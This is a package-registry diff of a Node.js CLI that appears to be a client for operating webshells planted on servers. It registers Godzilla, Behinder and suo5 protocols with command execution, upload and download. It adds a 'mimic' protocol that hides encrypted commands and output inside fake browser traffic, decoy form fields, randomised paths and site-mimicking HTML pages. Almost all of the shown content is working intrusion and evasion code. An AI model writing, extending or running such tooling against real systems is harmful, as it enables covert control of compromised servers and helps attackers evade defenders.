memshell-party-cli 0.3.4 → 0.5.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/cli.js +1451 -160
- package/dist/cli.js.map +1 -1
- package/dist/index.d.ts +208 -2
- package/dist/index.js +496 -5
- package/dist/index.js.map +1 -1
- package/package.json +2 -1
- package/resources/javax.servlet-api-3.1.0.jar +0 -0
- package/skills/memshell-party/SKILL.md +195 -1
package/dist/cli.js
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
#!/usr/bin/env node
|
|
2
2
|
|
|
3
3
|
// src/cli.ts
|
|
4
|
-
import { Command as
|
|
4
|
+
import { Command as Command10, CommanderError as CommanderError2 } from "commander";
|
|
5
5
|
|
|
6
6
|
// src/api/client.ts
|
|
7
7
|
var ApiError = class extends Error {
|
|
@@ -508,15 +508,25 @@ function postRaw(url, body, options = {}) {
|
|
|
508
508
|
if (!isHttps && target.protocol !== "http:") {
|
|
509
509
|
return Promise.reject(new HttpRequestError(`unsupported protocol: ${target.protocol}`, url));
|
|
510
510
|
}
|
|
511
|
+
let proxy = null;
|
|
512
|
+
if (!isHttps && process.env.MEMPARTY_PROXY) {
|
|
513
|
+
try {
|
|
514
|
+
proxy = new URL(process.env.MEMPARTY_PROXY);
|
|
515
|
+
} catch {
|
|
516
|
+
return Promise.reject(
|
|
517
|
+
new HttpRequestError(`invalid MEMPARTY_PROXY: ${process.env.MEMPARTY_PROXY}`, url)
|
|
518
|
+
);
|
|
519
|
+
}
|
|
520
|
+
}
|
|
511
521
|
return new Promise((resolve2, reject) => {
|
|
512
522
|
const started = Date.now();
|
|
513
523
|
const transport = isHttps ? https : http;
|
|
514
524
|
const req = transport.request(
|
|
515
525
|
{
|
|
516
526
|
method: "POST",
|
|
517
|
-
hostname: target.hostname,
|
|
518
|
-
port: target.port || (isHttps ? 443 : 80),
|
|
519
|
-
path: `${target.pathname}${target.search}`,
|
|
527
|
+
hostname: proxy ? proxy.hostname : target.hostname,
|
|
528
|
+
port: proxy ? proxy.port || 8080 : target.port || (isHttps ? 443 : 80),
|
|
529
|
+
path: proxy ? target.toString() : `${target.pathname}${target.search}`,
|
|
520
530
|
// agent:false — never reuse a pooled socket. A shell server may close
|
|
521
531
|
// the connection right after an empty response, and reusing such a
|
|
522
532
|
// socket surfaces as a spurious ECONNRESET on the next probe.
|
|
@@ -1491,18 +1501,537 @@ async function testSuo5(url, options = {}) {
|
|
|
1491
1501
|
};
|
|
1492
1502
|
}
|
|
1493
1503
|
|
|
1494
|
-
// src/
|
|
1495
|
-
import {
|
|
1504
|
+
// src/connect/mimic.ts
|
|
1505
|
+
import { randomInt as randomInt2 } from "crypto";
|
|
1506
|
+
|
|
1507
|
+
// src/core/site-profile.ts
|
|
1508
|
+
import { existsSync, mkdirSync, readdirSync, readFileSync as readFileSync2, writeFileSync } from "fs";
|
|
1496
1509
|
import { homedir as homedir2 } from "os";
|
|
1497
|
-
import {
|
|
1510
|
+
import { join as join2 } from "path";
|
|
1511
|
+
function profileTemplates(profile) {
|
|
1512
|
+
if (Array.isArray(profile.templates) && profile.templates.length > 0) {
|
|
1513
|
+
return profile.templates;
|
|
1514
|
+
}
|
|
1515
|
+
if (profile.template) {
|
|
1516
|
+
return [
|
|
1517
|
+
{
|
|
1518
|
+
title: profile.title ?? "",
|
|
1519
|
+
template: profile.template,
|
|
1520
|
+
contentType: profile.contentType ?? "text/html; charset=utf-8"
|
|
1521
|
+
}
|
|
1522
|
+
];
|
|
1523
|
+
}
|
|
1524
|
+
return [];
|
|
1525
|
+
}
|
|
1526
|
+
function profileRequests(profile) {
|
|
1527
|
+
if (!profile.request) return [];
|
|
1528
|
+
return Array.isArray(profile.request) ? profile.request : [profile.request];
|
|
1529
|
+
}
|
|
1530
|
+
function pickRequestShape(requests) {
|
|
1531
|
+
if (requests.length === 0) return void 0;
|
|
1532
|
+
const total = requests.reduce((s, r) => s + (r.weight ?? 1), 0);
|
|
1533
|
+
let roll = Math.random() * total;
|
|
1534
|
+
for (const r of requests) {
|
|
1535
|
+
roll -= r.weight ?? 1;
|
|
1536
|
+
if (roll <= 0) return r;
|
|
1537
|
+
}
|
|
1538
|
+
return requests[requests.length - 1];
|
|
1539
|
+
}
|
|
1540
|
+
var NAME_RE = /^[A-Za-z0-9][A-Za-z0-9._-]*$/;
|
|
1541
|
+
function profilesDir() {
|
|
1542
|
+
const override = process.env.MEMPARTY_PROFILES;
|
|
1543
|
+
return override ? override : join2(homedir2(), ".memparty", "profiles");
|
|
1544
|
+
}
|
|
1545
|
+
function profilePath(name) {
|
|
1546
|
+
return join2(profilesDir(), `${name}.json`);
|
|
1547
|
+
}
|
|
1548
|
+
function validateProfile(profile) {
|
|
1549
|
+
if (!NAME_RE.test(profile.name)) {
|
|
1550
|
+
throw new Error(
|
|
1551
|
+
`invalid profile name ${JSON.stringify(profile.name)} \u2014 use letters, digits, '.', '_', '-'`
|
|
1552
|
+
);
|
|
1553
|
+
}
|
|
1554
|
+
if (!profile.site || !/^https?:\/\//.test(profile.site)) {
|
|
1555
|
+
throw new Error(`profile.site must be an http(s) origin (got ${JSON.stringify(profile.site)})`);
|
|
1556
|
+
}
|
|
1557
|
+
const templates = profileTemplates(profile);
|
|
1558
|
+
if (templates.length === 0) {
|
|
1559
|
+
throw new Error("profile needs at least one template (templates[] or legacy template)");
|
|
1560
|
+
}
|
|
1561
|
+
templates.forEach((t, i) => {
|
|
1562
|
+
if (!t.template || !/<!doctype\s+html|<html|<head/i.test(t.template)) {
|
|
1563
|
+
throw new Error(`templates[${i}].template must be a full HTML page`);
|
|
1564
|
+
}
|
|
1565
|
+
if (!t.contentType) {
|
|
1566
|
+
throw new Error(`templates[${i}].contentType is required (e.g. "text/html; charset=utf-8")`);
|
|
1567
|
+
}
|
|
1568
|
+
});
|
|
1569
|
+
if (!Array.isArray(profile.paths)) {
|
|
1570
|
+
throw new Error("profile.paths must be an array (may be empty)");
|
|
1571
|
+
}
|
|
1572
|
+
for (const [ri, req] of profileRequests(profile).entries()) {
|
|
1573
|
+
if (!req.secretField || !/^[A-Za-z0-9_.-]+$/.test(req.secretField)) {
|
|
1574
|
+
throw new Error(`request[${ri}].secretField must be a form-field name`);
|
|
1575
|
+
}
|
|
1576
|
+
if (req.secretIn !== void 0 && !["body", "query", "header"].includes(req.secretIn)) {
|
|
1577
|
+
throw new Error(`request[${ri}].secretIn must be body | query | header`);
|
|
1578
|
+
}
|
|
1579
|
+
for (const [i, f] of (req.fields ?? []).entries()) {
|
|
1580
|
+
if (!f.name || !/^[A-Za-z0-9_.-]+$/.test(f.name)) {
|
|
1581
|
+
throw new Error(`request[${ri}].fields[${i}].name must be a form-field name`);
|
|
1582
|
+
}
|
|
1583
|
+
if (f.name === req.secretField) {
|
|
1584
|
+
throw new Error(`request[${ri}].fields[${i}] duplicates secretField`);
|
|
1585
|
+
}
|
|
1586
|
+
}
|
|
1587
|
+
}
|
|
1588
|
+
if (profile.cipher !== void 0) {
|
|
1589
|
+
const c = profile.cipher;
|
|
1590
|
+
if (c.algorithm !== void 0 && !["aes-ecb", "aes-cbc", "xor"].includes(c.algorithm)) {
|
|
1591
|
+
throw new Error(`cipher.algorithm must be aes-ecb | aes-cbc | xor (got ${JSON.stringify(c.algorithm)})`);
|
|
1592
|
+
}
|
|
1593
|
+
if (c.encoding !== void 0 && !["base64", "base64url", "hex"].includes(c.encoding)) {
|
|
1594
|
+
throw new Error(`cipher.encoding must be base64 | base64url | hex (got ${JSON.stringify(c.encoding)})`);
|
|
1595
|
+
}
|
|
1596
|
+
if (c.marker !== void 0 && !["js-var", "html-comment"].includes(c.marker)) {
|
|
1597
|
+
throw new Error(`cipher.marker must be js-var | html-comment (got ${JSON.stringify(c.marker)})`);
|
|
1598
|
+
}
|
|
1599
|
+
if (c.padTail !== void 0 && typeof c.padTail !== "boolean") {
|
|
1600
|
+
throw new Error("cipher.padTail must be a boolean");
|
|
1601
|
+
}
|
|
1602
|
+
}
|
|
1603
|
+
}
|
|
1604
|
+
function saveProfile(profile) {
|
|
1605
|
+
validateProfile(profile);
|
|
1606
|
+
const dir = profilesDir();
|
|
1607
|
+
mkdirSync(dir, { recursive: true });
|
|
1608
|
+
writeFileSync(profilePath(profile.name), `${JSON.stringify(profile, null, 2)}
|
|
1609
|
+
`, "utf8");
|
|
1610
|
+
}
|
|
1611
|
+
function loadProfile(name) {
|
|
1612
|
+
const path = profilePath(name);
|
|
1613
|
+
if (!existsSync(path)) {
|
|
1614
|
+
throw new Error(
|
|
1615
|
+
`unknown profile ${JSON.stringify(name)} \u2014 scaffold one with 'memparty profile init ${name} --site <origin>' and fill in the template/paths by hand (stored: ${listProfiles().join(", ") || "(none)"})`
|
|
1616
|
+
);
|
|
1617
|
+
}
|
|
1618
|
+
const profile = JSON.parse(readFileSync2(path, "utf8"));
|
|
1619
|
+
validateProfile(profile);
|
|
1620
|
+
return profile;
|
|
1621
|
+
}
|
|
1622
|
+
function listProfiles() {
|
|
1623
|
+
const dir = profilesDir();
|
|
1624
|
+
if (!existsSync(dir)) return [];
|
|
1625
|
+
return readdirSync(dir).filter((f) => f.endsWith(".json")).map((f) => f.slice(0, -".json".length)).sort();
|
|
1626
|
+
}
|
|
1627
|
+
function profileSkeleton(name, site) {
|
|
1628
|
+
return {
|
|
1629
|
+
name,
|
|
1630
|
+
site: site.replace(/\/+$/, ""),
|
|
1631
|
+
createdAt: (/* @__PURE__ */ new Date()).toISOString(),
|
|
1632
|
+
templates: [
|
|
1633
|
+
{
|
|
1634
|
+
title: "",
|
|
1635
|
+
template: '<!DOCTYPE html>\n<html>\n<head>\n<meta charset="UTF-8">\n<title></title>\n</head>\n<body>\n</body>\n</html>\n',
|
|
1636
|
+
contentType: "text/html; charset=utf-8"
|
|
1637
|
+
}
|
|
1638
|
+
],
|
|
1639
|
+
paths: []
|
|
1640
|
+
};
|
|
1641
|
+
}
|
|
1642
|
+
|
|
1643
|
+
// src/connect/mimic-codecs.ts
|
|
1644
|
+
import { createCipheriv as createCipheriv2, createDecipheriv as createDecipheriv2, randomBytes as randomBytes3 } from "crypto";
|
|
1645
|
+
var LEGACY_CIPHER = {
|
|
1646
|
+
algorithm: "aes-ecb",
|
|
1647
|
+
encoding: "base64",
|
|
1648
|
+
padTail: false,
|
|
1649
|
+
marker: "js-var"
|
|
1650
|
+
};
|
|
1651
|
+
function resolveCipher(partial) {
|
|
1652
|
+
return { ...LEGACY_CIPHER, ...partial ?? {} };
|
|
1653
|
+
}
|
|
1654
|
+
function xorCrypt(data, key) {
|
|
1655
|
+
const out = Buffer.alloc(data.length);
|
|
1656
|
+
for (let i = 0; i < data.length; i++) out[i] = data[i] ^ key[i % key.length];
|
|
1657
|
+
return out;
|
|
1658
|
+
}
|
|
1659
|
+
function crypt(data, aesKey, enc, algorithm) {
|
|
1660
|
+
switch (algorithm) {
|
|
1661
|
+
case "aes-ecb":
|
|
1662
|
+
return enc ? aesEcbEncrypt(data, aesKey) : aesEcbDecrypt(data, aesKey);
|
|
1663
|
+
case "aes-cbc": {
|
|
1664
|
+
const key = Buffer.from(aesKey, "utf8");
|
|
1665
|
+
if (enc) {
|
|
1666
|
+
const iv = randomBytes3(16);
|
|
1667
|
+
const c = createCipheriv2("aes-128-cbc", key, iv);
|
|
1668
|
+
return Buffer.concat([iv, c.update(data), c.final()]);
|
|
1669
|
+
}
|
|
1670
|
+
const d = createDecipheriv2("aes-128-cbc", key, data.subarray(0, 16));
|
|
1671
|
+
return Buffer.concat([d.update(data.subarray(16)), d.final()]);
|
|
1672
|
+
}
|
|
1673
|
+
case "xor":
|
|
1674
|
+
return xorCrypt(data, Buffer.from(aesKey, "utf8"));
|
|
1675
|
+
}
|
|
1676
|
+
}
|
|
1677
|
+
function encodeBytes(data, encoding) {
|
|
1678
|
+
switch (encoding) {
|
|
1679
|
+
case "base64":
|
|
1680
|
+
return data.toString("base64");
|
|
1681
|
+
case "base64url":
|
|
1682
|
+
return base64UrlEncode(data);
|
|
1683
|
+
case "hex":
|
|
1684
|
+
return data.toString("hex");
|
|
1685
|
+
}
|
|
1686
|
+
}
|
|
1687
|
+
function decodeString(text, encoding) {
|
|
1688
|
+
switch (encoding) {
|
|
1689
|
+
case "base64":
|
|
1690
|
+
return Buffer.from(text, "base64");
|
|
1691
|
+
case "base64url":
|
|
1692
|
+
return base64UrlDecode(text);
|
|
1693
|
+
case "hex":
|
|
1694
|
+
return Buffer.from(text, "hex");
|
|
1695
|
+
}
|
|
1696
|
+
}
|
|
1697
|
+
function padTailLength(aesKey) {
|
|
1698
|
+
return Number.parseInt(md5Hex(aesKey).slice(0, 2), 16) % 16;
|
|
1699
|
+
}
|
|
1700
|
+
var PAD_ALPHABET = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
|
|
1701
|
+
function appendPad(text, aesKey) {
|
|
1702
|
+
const n = padTailLength(aesKey);
|
|
1703
|
+
if (n === 0) return text;
|
|
1704
|
+
const raw = randomBytes3(n);
|
|
1705
|
+
let tail = "";
|
|
1706
|
+
for (let i = 0; i < n; i++) tail += PAD_ALPHABET[raw[i] % PAD_ALPHABET.length];
|
|
1707
|
+
return text + tail;
|
|
1708
|
+
}
|
|
1709
|
+
function stripPad(text, aesKey) {
|
|
1710
|
+
const n = padTailLength(aesKey);
|
|
1711
|
+
return n === 0 ? text : text.slice(0, Math.max(0, text.length - n));
|
|
1712
|
+
}
|
|
1713
|
+
function encryptField(plaintext, aesKey, cipher = LEGACY_CIPHER) {
|
|
1714
|
+
let out = encodeBytes(crypt(plaintext, aesKey, true, cipher.algorithm), cipher.encoding);
|
|
1715
|
+
if (cipher.padTail) out = appendPad(out, aesKey);
|
|
1716
|
+
return out;
|
|
1717
|
+
}
|
|
1718
|
+
function decryptField(value, aesKey, cipher = LEGACY_CIPHER) {
|
|
1719
|
+
let text = value;
|
|
1720
|
+
if (cipher.padTail) text = stripPad(text, aesKey);
|
|
1721
|
+
return crypt(decodeString(text, cipher.encoding), aesKey, false, cipher.algorithm);
|
|
1722
|
+
}
|
|
1723
|
+
function deriveMarkers(pass, secretKey, cipher = LEGACY_CIPHER) {
|
|
1724
|
+
const id = md5Hex(pass + secretKey).slice(0, 5);
|
|
1725
|
+
if (cipher.marker === "html-comment") {
|
|
1726
|
+
const left2 = `<!--Re${id}_config:`;
|
|
1727
|
+
return { left: left2, right: "-->", wrap: (p) => `${left2}${p}-->` };
|
|
1728
|
+
}
|
|
1729
|
+
const left = `var Re${id}_config="`;
|
|
1730
|
+
return { left, right: '";', wrap: (p) => `<script>${left}${p}";</script>` };
|
|
1731
|
+
}
|
|
1732
|
+
|
|
1733
|
+
// src/connect/mimic-shared.ts
|
|
1734
|
+
import { randomBytes as randomBytes4, randomInt, randomUUID } from "crypto";
|
|
1735
|
+
function deriveAesKey(secretKey) {
|
|
1736
|
+
return md5Key16(secretKey);
|
|
1737
|
+
}
|
|
1738
|
+
function renderFieldValue(value) {
|
|
1739
|
+
return value.replaceAll(
|
|
1740
|
+
/\{\{hex:(\d+)\}\}/g,
|
|
1741
|
+
(_m, n) => randomBytes4(Math.ceil(Number(n) / 2)).toString("hex").slice(0, Number(n))
|
|
1742
|
+
).replaceAll(
|
|
1743
|
+
/\{\{b64:(\d+)\}\}/g,
|
|
1744
|
+
(_m, n) => randomBytes4(Math.ceil(Number(n) * 3 / 4)).toString("base64url").slice(0, Number(n))
|
|
1745
|
+
).replaceAll(/\{\{uuid\}\}/g, () => randomUUID()).replaceAll(/\{\{ts\}\}/g, () => String(Math.floor(Date.now() / 1e3))).replaceAll(
|
|
1746
|
+
/\{\{int:(\d+):(\d+)\}\}/g,
|
|
1747
|
+
(_m, a, b) => String(randomInt(Number(a), Number(b) + 1))
|
|
1748
|
+
);
|
|
1749
|
+
}
|
|
1750
|
+
var RIGHT_MARKER = '";';
|
|
1751
|
+
function encryptField2(plaintext, aesKey, cipher = LEGACY_CIPHER) {
|
|
1752
|
+
return encryptField(plaintext, aesKey, cipher);
|
|
1753
|
+
}
|
|
1754
|
+
function decryptField2(value, aesKey, cipher = LEGACY_CIPHER) {
|
|
1755
|
+
return decryptField(value, aesKey, cipher);
|
|
1756
|
+
}
|
|
1757
|
+
function buildFormBody(fields) {
|
|
1758
|
+
return Buffer.from(
|
|
1759
|
+
fields.map((f) => `${f.name}=${encodeURIComponent(f.value)}`).join("&"),
|
|
1760
|
+
"utf8"
|
|
1761
|
+
);
|
|
1762
|
+
}
|
|
1763
|
+
function decodeRequestBody(body, pass, aesKey, cipher = LEGACY_CIPHER) {
|
|
1764
|
+
const text = body.toString("utf8");
|
|
1765
|
+
for (const pair of text.split("&")) {
|
|
1766
|
+
const eq = pair.indexOf("=");
|
|
1767
|
+
if (eq <= 0) continue;
|
|
1768
|
+
if (pair.slice(0, eq) !== pass) continue;
|
|
1769
|
+
const value = decodeURIComponent(pair.slice(eq + 1));
|
|
1770
|
+
try {
|
|
1771
|
+
return decryptField2(value, aesKey, cipher);
|
|
1772
|
+
} catch {
|
|
1773
|
+
return null;
|
|
1774
|
+
}
|
|
1775
|
+
}
|
|
1776
|
+
return null;
|
|
1777
|
+
}
|
|
1778
|
+
function injectFragment(templateHtml, fragment) {
|
|
1779
|
+
const idx = templateHtml.toLowerCase().lastIndexOf("</body>");
|
|
1780
|
+
if (idx === -1) return templateHtml + fragment;
|
|
1781
|
+
return templateHtml.slice(0, idx) + fragment + templateHtml.slice(idx);
|
|
1782
|
+
}
|
|
1783
|
+
function extractFromHtml(html, leftMarker, rightMarker = RIGHT_MARKER) {
|
|
1784
|
+
const start = html.indexOf(leftMarker);
|
|
1785
|
+
if (start === -1) return null;
|
|
1786
|
+
const valueStart = start + leftMarker.length;
|
|
1787
|
+
const end = html.indexOf(rightMarker, valueStart);
|
|
1788
|
+
if (end === -1) return null;
|
|
1789
|
+
return html.slice(valueStart, end);
|
|
1790
|
+
}
|
|
1791
|
+
|
|
1792
|
+
// src/connect/mimic.ts
|
|
1793
|
+
var BROWSER_HEADERS = {
|
|
1794
|
+
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36",
|
|
1795
|
+
Accept: "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
|
|
1796
|
+
"Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8",
|
|
1797
|
+
"Content-Type": "application/x-www-form-urlencoded"
|
|
1798
|
+
};
|
|
1799
|
+
function buildContext(req) {
|
|
1800
|
+
const pass = req.conn.pass ?? "pass";
|
|
1801
|
+
const secretKey = req.conn.key ?? "key";
|
|
1802
|
+
let profile;
|
|
1803
|
+
const profileName = req.options.profile ?? req.conn.profile;
|
|
1804
|
+
if (profileName) {
|
|
1805
|
+
profile = loadProfile(profileName);
|
|
1806
|
+
}
|
|
1807
|
+
const cipher = resolveCipher(profile?.cipher);
|
|
1808
|
+
return {
|
|
1809
|
+
pass,
|
|
1810
|
+
aesKey: deriveAesKey(secretKey),
|
|
1811
|
+
cipher,
|
|
1812
|
+
markers: deriveMarkers(pass, secretKey, cipher),
|
|
1813
|
+
profile,
|
|
1814
|
+
dynamicPath: req.options.dynamicPath ?? false
|
|
1815
|
+
};
|
|
1816
|
+
}
|
|
1817
|
+
function pickRequestUrl(connUrl, ctx) {
|
|
1818
|
+
if (!ctx.dynamicPath || !ctx.profile || ctx.profile.paths.length === 0) {
|
|
1819
|
+
return connUrl;
|
|
1820
|
+
}
|
|
1821
|
+
const origin = new URL(connUrl).origin;
|
|
1822
|
+
const dir = ctx.profile.paths[randomInt2(ctx.profile.paths.length)];
|
|
1823
|
+
const slug = randomString(8).toLowerCase();
|
|
1824
|
+
return `${origin}${dir}${slug}`;
|
|
1825
|
+
}
|
|
1826
|
+
async function roundTrip(req, ctx, plaintext) {
|
|
1827
|
+
let requestUrl = pickRequestUrl(req.conn.url, ctx);
|
|
1828
|
+
const shape = pickRequestShape(ctx.profile ? profileRequests(ctx.profile) : []);
|
|
1829
|
+
const secretField = shape?.secretField ?? ctx.pass;
|
|
1830
|
+
const secretIn = shape?.secretIn ?? "body";
|
|
1831
|
+
const cipher = encryptField2(Buffer.from(plaintext, "utf8"), ctx.aesKey, ctx.cipher);
|
|
1832
|
+
const decoys = (shape?.fields ?? []).map((f) => ({
|
|
1833
|
+
name: f.name,
|
|
1834
|
+
value: renderFieldValue(f.value)
|
|
1835
|
+
}));
|
|
1836
|
+
let body;
|
|
1837
|
+
const extraHeaders = {};
|
|
1838
|
+
if (secretIn === "query") {
|
|
1839
|
+
const qs = buildFormBody([...decoys, { name: secretField, value: cipher }]).toString();
|
|
1840
|
+
requestUrl += (requestUrl.includes("?") ? "&" : "?") + qs;
|
|
1841
|
+
body = Buffer.alloc(0);
|
|
1842
|
+
} else if (secretIn === "header") {
|
|
1843
|
+
extraHeaders[secretField] = cipher;
|
|
1844
|
+
body = buildFormBody(decoys);
|
|
1845
|
+
} else {
|
|
1846
|
+
body = buildFormBody([...decoys, { name: secretField, value: cipher }]);
|
|
1847
|
+
}
|
|
1848
|
+
const headers = buildHeaders({ ...BROWSER_HEADERS, ...extraHeaders }, req.common);
|
|
1849
|
+
let res;
|
|
1850
|
+
try {
|
|
1851
|
+
res = await postRaw(requestUrl, body, {
|
|
1852
|
+
headers,
|
|
1853
|
+
timeoutMs: req.common.timeoutMs,
|
|
1854
|
+
insecure: req.common.insecure
|
|
1855
|
+
});
|
|
1856
|
+
} catch (err) {
|
|
1857
|
+
return {
|
|
1858
|
+
ok: false,
|
|
1859
|
+
error: err instanceof Error ? err.message : String(err),
|
|
1860
|
+
requestUrl,
|
|
1861
|
+
status: 0,
|
|
1862
|
+
durationMs: 0
|
|
1863
|
+
};
|
|
1864
|
+
}
|
|
1865
|
+
if (res.status !== 200) {
|
|
1866
|
+
return {
|
|
1867
|
+
ok: false,
|
|
1868
|
+
error: `HTTP ${res.status} \u2014 the endpoint did not answer like a mimic shell`,
|
|
1869
|
+
requestUrl,
|
|
1870
|
+
status: res.status,
|
|
1871
|
+
durationMs: res.durationMs
|
|
1872
|
+
};
|
|
1873
|
+
}
|
|
1874
|
+
const b64 = extractFromHtml(res.body.toString("utf8"), ctx.markers.left, ctx.markers.right);
|
|
1875
|
+
if (b64 === null) {
|
|
1876
|
+
return {
|
|
1877
|
+
ok: false,
|
|
1878
|
+
error: "response marker not found \u2014 wrong pass/key, or the page is not a mimic shell",
|
|
1879
|
+
requestUrl,
|
|
1880
|
+
status: res.status,
|
|
1881
|
+
durationMs: res.durationMs
|
|
1882
|
+
};
|
|
1883
|
+
}
|
|
1884
|
+
try {
|
|
1885
|
+
const output = decryptField2(b64, ctx.aesKey, ctx.cipher).toString("utf8");
|
|
1886
|
+
return { ok: true, output, requestUrl, status: res.status, durationMs: res.durationMs };
|
|
1887
|
+
} catch {
|
|
1888
|
+
return {
|
|
1889
|
+
ok: false,
|
|
1890
|
+
error: "response decryption failed \u2014 wrong key?",
|
|
1891
|
+
requestUrl,
|
|
1892
|
+
status: res.status,
|
|
1893
|
+
durationMs: res.durationMs
|
|
1894
|
+
};
|
|
1895
|
+
}
|
|
1896
|
+
}
|
|
1897
|
+
var mimicProtocol = {
|
|
1898
|
+
name: "mimic",
|
|
1899
|
+
description: "site-mimicking demo protocol (profile-driven HTML skin + dynamic paths)",
|
|
1900
|
+
async test(req) {
|
|
1901
|
+
const started = Date.now();
|
|
1902
|
+
const tool = "mimic";
|
|
1903
|
+
const url = req.conn.url;
|
|
1904
|
+
let ctx;
|
|
1905
|
+
try {
|
|
1906
|
+
ctx = buildContext(req);
|
|
1907
|
+
} catch (err) {
|
|
1908
|
+
return {
|
|
1909
|
+
ok: false,
|
|
1910
|
+
tool,
|
|
1911
|
+
url,
|
|
1912
|
+
error: err instanceof Error ? err.message : String(err),
|
|
1913
|
+
durationMs: Date.now() - started
|
|
1914
|
+
};
|
|
1915
|
+
}
|
|
1916
|
+
const canary = randomString(12);
|
|
1917
|
+
const r = await roundTrip(req, ctx, `echo ${canary}`);
|
|
1918
|
+
if (!r.ok) {
|
|
1919
|
+
return { ok: false, tool, url, error: r.error, durationMs: Date.now() - started };
|
|
1920
|
+
}
|
|
1921
|
+
if (!r.output.includes(canary)) {
|
|
1922
|
+
return {
|
|
1923
|
+
ok: false,
|
|
1924
|
+
tool,
|
|
1925
|
+
url,
|
|
1926
|
+
error: "round-trip mismatch \u2014 endpoint decrypted but did not execute the canary",
|
|
1927
|
+
durationMs: Date.now() - started
|
|
1928
|
+
};
|
|
1929
|
+
}
|
|
1930
|
+
const profileNote = ctx.profile ? `profile=${ctx.profile.name}` : "no profile";
|
|
1931
|
+
const pathNote = r.requestUrl === url ? "fixed path" : `dynamic path ${r.requestUrl}`;
|
|
1932
|
+
return {
|
|
1933
|
+
ok: true,
|
|
1934
|
+
tool,
|
|
1935
|
+
url,
|
|
1936
|
+
detail: `round-trip ok (${profileNote}; ${pathNote})`,
|
|
1937
|
+
durationMs: Date.now() - started
|
|
1938
|
+
};
|
|
1939
|
+
},
|
|
1940
|
+
async exec(req, command) {
|
|
1941
|
+
const started = Date.now();
|
|
1942
|
+
const tool = "mimic";
|
|
1943
|
+
const url = req.conn.url;
|
|
1944
|
+
let ctx;
|
|
1945
|
+
try {
|
|
1946
|
+
ctx = buildContext(req);
|
|
1947
|
+
} catch (err) {
|
|
1948
|
+
return {
|
|
1949
|
+
ok: false,
|
|
1950
|
+
tool,
|
|
1951
|
+
url,
|
|
1952
|
+
command,
|
|
1953
|
+
error: err instanceof Error ? err.message : String(err),
|
|
1954
|
+
durationMs: Date.now() - started
|
|
1955
|
+
};
|
|
1956
|
+
}
|
|
1957
|
+
const r = await roundTrip(req, ctx, command);
|
|
1958
|
+
if (!r.ok) {
|
|
1959
|
+
return { ok: false, tool, url, command, error: r.error, durationMs: Date.now() - started };
|
|
1960
|
+
}
|
|
1961
|
+
return { ok: true, tool, url, command, output: r.output, durationMs: Date.now() - started };
|
|
1962
|
+
}
|
|
1963
|
+
};
|
|
1964
|
+
|
|
1965
|
+
// src/connect/registry.ts
|
|
1966
|
+
var protocols = /* @__PURE__ */ new Map();
|
|
1967
|
+
function registerProtocol(protocol) {
|
|
1968
|
+
protocols.set(protocol.name, protocol);
|
|
1969
|
+
}
|
|
1970
|
+
function getProtocol(name) {
|
|
1971
|
+
return protocols.get(name);
|
|
1972
|
+
}
|
|
1973
|
+
function protocolNames(capability) {
|
|
1974
|
+
const all = [...protocols.values()];
|
|
1975
|
+
const usable = capability ? all.filter((p) => p[capability] !== void 0) : all;
|
|
1976
|
+
return usable.map((p) => p.name);
|
|
1977
|
+
}
|
|
1978
|
+
function requireProtocol(name) {
|
|
1979
|
+
const protocol = getProtocol(name);
|
|
1980
|
+
if (!protocol) {
|
|
1981
|
+
throw new Error(`unknown protocol ${JSON.stringify(name)} (available: ${protocolNames().join(", ")})`);
|
|
1982
|
+
}
|
|
1983
|
+
return protocol;
|
|
1984
|
+
}
|
|
1985
|
+
function unsupportedMessage(protocol, capability) {
|
|
1986
|
+
return `protocol '${protocol.name}' does not support ${capability}`;
|
|
1987
|
+
}
|
|
1988
|
+
var godzillaProtocol = {
|
|
1989
|
+
name: "godzilla",
|
|
1990
|
+
description: "Godzilla JAVA_AES_BASE64 shell",
|
|
1991
|
+
test: ({ conn, common }) => testGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", common),
|
|
1992
|
+
exec: ({ conn, common, options }, command) => execGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", command, {
|
|
1993
|
+
...common,
|
|
1994
|
+
os: options.os
|
|
1995
|
+
}),
|
|
1996
|
+
upload: ({ conn, common, options }, remotePath, data) => uploadGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", remotePath, data, {
|
|
1997
|
+
...common,
|
|
1998
|
+
remoteCharset: options.remoteCharset
|
|
1999
|
+
}),
|
|
2000
|
+
download: ({ conn, common, options }, remotePath) => downloadGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", remotePath, {
|
|
2001
|
+
...common,
|
|
2002
|
+
remoteCharset: options.remoteCharset
|
|
2003
|
+
})
|
|
2004
|
+
};
|
|
2005
|
+
var behinderProtocol = {
|
|
2006
|
+
name: "behinder",
|
|
2007
|
+
description: "Behinder AES shell",
|
|
2008
|
+
test: ({ conn, common }) => testBehinder(conn.url, conn.pass ?? "rebeyond", common),
|
|
2009
|
+
exec: ({ conn, common }, command) => execBehinder(conn.url, conn.pass ?? "rebeyond", command, common),
|
|
2010
|
+
upload: ({ conn, common }, remotePath, data) => uploadBehinder(conn.url, conn.pass ?? "rebeyond", remotePath, data, common),
|
|
2011
|
+
download: ({ conn, common }, remotePath) => downloadBehinder(conn.url, conn.pass ?? "rebeyond", remotePath, common)
|
|
2012
|
+
};
|
|
2013
|
+
var suo5Protocol = {
|
|
2014
|
+
name: "suo5",
|
|
2015
|
+
description: "suo5 HTTP tunnel (connect test only)",
|
|
2016
|
+
test: ({ conn, common, options }) => testSuo5(conn.url, { ...common, mode: options.suo5Mode })
|
|
2017
|
+
};
|
|
2018
|
+
registerProtocol(godzillaProtocol);
|
|
2019
|
+
registerProtocol(behinderProtocol);
|
|
2020
|
+
registerProtocol(suo5Protocol);
|
|
2021
|
+
registerProtocol(mimicProtocol);
|
|
2022
|
+
|
|
2023
|
+
// src/core/oplog.ts
|
|
2024
|
+
import { appendFileSync, existsSync as existsSync2, mkdirSync as mkdirSync2, readFileSync as readFileSync3 } from "fs";
|
|
2025
|
+
import { homedir as homedir3 } from "os";
|
|
